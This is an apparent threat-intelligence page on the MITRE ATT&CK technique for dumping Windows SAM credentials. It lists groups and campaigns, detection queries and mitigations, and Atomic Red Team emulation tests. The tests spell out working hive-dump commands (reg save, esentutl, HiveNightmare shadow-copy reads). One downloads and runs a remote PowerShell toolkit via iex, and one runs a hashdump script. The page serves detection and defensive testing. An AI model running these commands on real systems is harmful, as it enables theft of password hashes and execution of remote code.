MirrorFaceG1054 ↗
tfMITRE ATT&CK sub-technique
Security Account Manager T1003.002
sub-technique of T1003 OS Credential Dumping
- Tactic
- Credential Access
- Platform
- Windows
- Version
- 1.1
- Created
- 11 February 2020
- Last modified
- 12 May 2026
- Contributors
- Ed Williams, Trustwave, SpiderLabs; Olaf Hartong, Falcon Force
Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.
ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact
14
Threat groupsTop 13%
Threat groups87th percentile · 87% of ATT&CK techniques have this many threat groups attributed or fewer.7
CampaignsTop 7%
Campaigns93rd percentile · 93% of ATT&CK techniques have this many campaigns recorded or fewer.15
Tools & malwareTop 21%
Tools & malware79th percentile · 79% of ATT&CK techniques have this many tools implementing them or fewer.36
Detection rulesTop 7%
Detection rules93rd percentile · 93% of ATT&CK techniques have this many detection rules written or fewer.Security Account Manager MITRE reference T1003.002
Top 13%of all ATT&CK techniques for number of groups
14 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
DaggerflyG1034 ↗
Used Reg to dump the Security Account Manager (SAM) hive from victim machines for follow-on credential extraction.1
AgriusG1030 ↗
Dumped the SAM file on victim machines to capture credentials.1
APT5G1023 ↗
Has copied and exfiltrated the SAM Registry hive from targeted systems.1
FIN13G1016 ↗
Has extracted the SAM and SYSTEM registry hives using the reg.exe binary for obtaining password hashes from a compromised machine.1
Ember BearG1003 ↗
Acquires victim credentials by extracting registry hives such as the Security Account Manager through commands such as reg save.12
All 14 groups for this technique · 6 newest in this preview
7 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
2025 Poland Wiper AttacksC0063 ↗
During the 2025 Poland Wiper Attacks, the adversaries had stolen Security Account Manager (SAM) and SYSTEM registry hives.1
Operation Digital EyeC0061 ↗
During Operation Digital Eye, threat actors used reg save to retrieve credentials from the Security Account Manager (SAM) database.1
FrostyGoop IncidentC0041 ↗
During FrostyGoop Incident, the adversary retrieved the contents of the Security Account Manager (SAM) hive in the victim environment for credential capture.1
APT28 Nearest Neighbor CampaignC0051 ↗
During APT28 Nearest Neighbor Campaign, APT28 used the following commands to dump SAM, SYSTEM, and SECURITY hives: reg save hklm\sam, reg save hklm\system, and reg save hklm\security.1
C0017C0017 ↗
During C0017, APT41 copied the SAM and SYSTEM Registry hives for credential harvesting.1
Operation CuckooBeesC0012 ↗
During Operation CuckooBees, the threat actors leveraged a custom tool to dump OS credentials and used following commands: reg save HKLM\\SYSTEM system.hiv, reg save HKLM\\SAM sam.hiv, and reg save HKLM\\SECURITY security.hiv, to dump SAM, SYSTEM and SECURITY hives.1
All 7 campaigns for this technique · 6 newest in this preview
15 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
IceAppleS1022 ↗
IceApple's Credential Dumper module can dump encrypted password hashes from SAM registry keys, including HKLM\SAM\SAM\Domains\Account\F and HKLM\SAM\SAM\Domains\Account\Users\*\V.1
CrackMapExecS0488 ↗
Can dump usernames and hashed passwords from the SAM.1
HOPLIGHTS0376 ↗
Has the capability to harvest credentials and passwords from the SAM database.1
POWERTONS0371 ↗
Has the ability to dump password hashes.1
ImpacketS0357 ↗
SecretsDump and Mimikatz modules within Impacket can perform credential dumping to obtain account and password information.1
KoadicS0250 ↗
Can gather hashed passwords by dumping SAM/SECURITY hive.1
All 15 software entries for this technique · 6 newest in this preview
Offense vs defense T1003.002
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Range
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Campaigns · 6Sigma rules (cumulative) · 28Splunk ESCU (cumulative) · 8
first rule: 2017 Q1 · 6 of 7 campaigns plotted (Night Dragon (dated 2009) falls before the 2014 window)Security Account Manager detection strategy DET0085
MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Credential Dumping from SAM via Registry Dump and Local File Access
1 platform
AN0235 · Windows
An adversary running with SYSTEM-level privileges executes commands or accesses registry keys to dump the SAM hive or directly reads sensitive local files from the config directory. This behavior often involves sequential access to HKLM\SAM, HKLM\SYSTEM, and creation of .save or .dmp files, enabling offline hash extraction.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | WinEventLog:Security | EventCode=4688 |
| File CreationDC0039 | WinEventLog:Sysmon | EventCode=11 |
| File ModificationDC0061 | WinEventLog:Sysmon | EventCode=2 |
| Windows Registry Key ModificationDC0063 | WinEventLog:Sysmon | EventCode=13, 14 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| CommandLinePattern | Detectable variations include reg save, reg.exe save, or PowerShell equivalents for dumping SAM/SYSTEM hives. |
| TargetFilePath | Defenders can tune based on dump file path patterns (e.g., %TEMP%\sam.save, C:\Users\Public\*.dmp). |
| RegistryPath | Tune for HKLM\SAM, HKLM\SYSTEM or access via direct \Device\Harddisk paths. |
| TimeWindow | Temporal gap between SAM and SYSTEM hive dumping can be tuned (e.g., 3 minutes). |
| ParentProcessName | Useful for suppressing known-good access (e.g., backup tools). |
1 analytic
Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PLA | Process Lineage Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | hostname |
| process | create | ppid |
| process | create | exe |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
processes = search Process:Create reg_processes = filter processes where (exe == "arp.exe" or exe == "at.exe" or exe == "attrib.exe" or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe" or exe == "ipconfig.exe" or exe == "mimikatz.exe" or exe == "nbstat.exe" or exe == "net.exe" or exe == "netsh.exe" or exe == "nslookup.exe" or exe == "ping.exe" or exe == "quser.exe" or exe == "qwinsta.exe" or exe == "reg.exe" or exe == "runas.exe" or exe == "sc.exe" or exe == "schtasks.exe" or exe == "ssh.exe" or exe == "systeminfo.exe" or exe == "taskkill.exe" or exe == "telnet.exe" or exe == "tracert.exe" or exe == "wscript.exe" or exe == "xcopy.exe") reg_grouped = group reg by hostname, ppid where(max time between two events is 30 minutes) output reg_grouped
Sigma version of the above pseudocode, with some modifications.
DNIF version of the above pseudocode.
_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=regex(arp\.exe|at\.exe|attrib\.exe|cscript\.exe|dsquery\.exe|hostname\.exe|ipconfig\.exe|mimikatz.exe|nbstat\.exe|net\.exe|netsh\.exe|nslookup\.exe|ping\.exe|quser\.exe|qwinsta\.exe|reg\.exe|runas\.exe|sc\.exe|schtasks\.exe|ssh\.exe|systeminfo\.exe|taskkill\.exe|telnet\.exe|tracert\.exe|wscript\.exe|xcopy\.exe)i group count_unique $App limit 100 >>_agg count >>_checkif int_compare Count > 1 include
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=1 image IN ["*\arp.exe", "*\at.exe", "*\attrib.exe", "*\cscript.exe", "*\dsquery.exe", "*\hostname.exe", "*\ipconfig.exe", "*\mimikatz.exe", "*\nbstat.exe", "*\net.exe", "*\netsh.exe", "*\nslookup.exe", "*\ping.exe", "*\quser.exe", "*\qwinsta.exe", "*\reg.exe", "*\runas.exe", "*\sc.exe", "*\schtasks.exe", "*\ssh.exe", "*\systeminfo.exe", "*\taskkill.exe", "*\telnet.exe", "*\tracert.exe", "*\wscript.exe", "*\xcopy.exe"] | chart count() as cnt by host | search cnt > 1
Unit tests
CAR’s own validation procedures for this analytic.
Within a command window, execute several of the commands in quick succession.
["ipconfig /all","hostname","systeminfo","reg.exe Query HKLM\\Software\\Microsoft"]
Consider disabling or restricting NTLM.
Password PoliciesM1027
Ensure that local administrator accounts have complex, unique passwords across all systems on the network.
Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.
User TrainingM1017
Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.
Tests8Executorscmd 5 · PowerShell 3Need elevation5 of 8Have prerequisites2Have cleanup5Platformswindows
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Registry dump of SAM, creds, and secrets | windows | cmd | Required | — | Yes | ||||||||||||||||||
Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7 Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory. Attack command reg save HKLM\sam %temp%\sam reg save HKLM\system %temp%\system reg save HKLM\security %temp%\security Cleanup command del %temp%\sam >nul 2> nul del %temp%\system >nul 2> nul del %temp%\security >nul 2> nul GUID6ad3717d-221f-47af-8b5a-c84bb96b9c59 | ||||||||||||||||||||||||
| 02 | Registry parse with pypykatz | windows | cmd | Required | 3 | — | ||||||||||||||||||
Parses registry hives to obtain stored credentials. Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution. Input arguments
Attack command "#{venv_path}\Scripts\pypykatz" live lsa
Prerequisite Computer must have python 3 installed Check if (Get-Command py -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait Prerequisite Computer must have venv configured at #{venv_path} Check if (Test-Path -Path "#{venv_path}") { exit 0 } else { exit 1 }
Satisfy py -m venv "#{venv_path}"
Prerequisite pypykatz must be installed Check if (Get-Command "#{venv_path}\Scripts\pypykatz" -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
Satisfy & "#{venv_path}\Scripts\pip.exe" install --no-cache-dir pypykatz 2>&1 | Out-Null
GUID24a35fdb-298c-4f4b-8bf1-1b8fd90b9e8e | ||||||||||||||||||||||||
| 03 | esentutl.exe SAM copy | windows | cmd | Required | — | Yes | ||||||||||||||||||
Copy the SAM hive using the esentutl.exe utility This can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc. Input arguments
Attack command esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name}
Cleanup command del #{copy_dest}\#{file_name} >nul 2>&1
GUID716d4e20-ea56-4cac-b4e1-5c5ceb7e22d1 | ||||||||||||||||||||||||
| 04 | PowerDump Hashes and Usernames from Registry | windows | PowerShell | Required | 1 | — | ||||||||||||||||||
Executes a hashdump by reading the hashes from the registry. Attack command Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1" Invoke-PowerDump Prerequisite PowerDump script must exist on disk at specified location Check if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1") {exit 0} else {exit 1} Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null Invoke-Webrequest -Uri "https://raw.githubusercontent.com/BC-SECURITY/Empire/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_source/credentials/Invoke-PowerDump.ps1" -UseBasicParsing -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1" GUIDd620731f-9a23-4957-ab75-3a3e0286b068 | ||||||||||||||||||||||||
| 05 | dump volume shadow copy hives with certutil | windows | cmd | — | — | Yes | ||||||||||||||||||
Dump hives from volume shadow copies with the certutil utility, exploiting a vulnerability known as "HiveNightmare" or "SeriousSAM". This can be done with a non-admin user account. CVE-2021-36934 Input arguments
Attack command for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy%a\Windows\System32\config\#{target_hive}" %temp%\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\#{target_hive}vss*
Cleanup command for /L %a in (1,1,#{limit}) do @(del %temp%\#{target_hive}vss%a >nul 2>&1)
GUIDc13236e2-e159-4613-8352-bb765235b8d4 | ||||||||||||||||||||||||
| 06 | dump volume shadow copy hives with System.IO.File | windows | PowerShell | — | — | Yes | ||||||||||||||||||
Dump hives from volume shadow copies with System.IO.File. CVE-2021-36934 Input arguments
Attack command 1..#{limit} | % {
try { [System.IO.File]::Copy("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$_\Windows\System32\config\#{target_hive}" , "$env:TEMP\#{target_hive}vss$_", "true") } catch {}
ls "$env:TEMP\#{target_hive}vss$_" -ErrorAction Ignore
}
Cleanup command 1..#{limit} | % {
rm "$env:TEMP\#{target_hive}vss$_" -ErrorAction Ignore
}
GUID4da635c9-aff2-4895-b820-c99da4d77706 | ||||||||||||||||||||||||
| 07 | WinPwn - Loot local Credentials - Dump SAM-File for NTLM Hashes | windows | PowerShell | — | — | — | ||||||||||||||||||
Loot local Credentials - Dump SAM-File for NTLM Hashes technique via function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
samfile -consoleoutput -noninteractive GUID38257f09-f12a-45f6-8ed2-1eb4a39720e8 | ||||||||||||||||||||||||
| 08 | Dumping of SAM, creds, and secrets(Reg Export) | windows | cmd | Required | — | Yes | ||||||||||||||||||
Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated via three registry keys. Used reg export to execute this behavior Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory. Attack command reg export HKLM\sam %temp%\sam reg export HKLM\system %temp%\system reg export HKLM\security %temp%\security Cleanup command del %temp%\sam >nul 2> nul del %temp%\system >nul 2> nul del %temp%\security >nul 2> nul GUIDe8993815-0cff-427e-8611-3638952fae52 | ||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition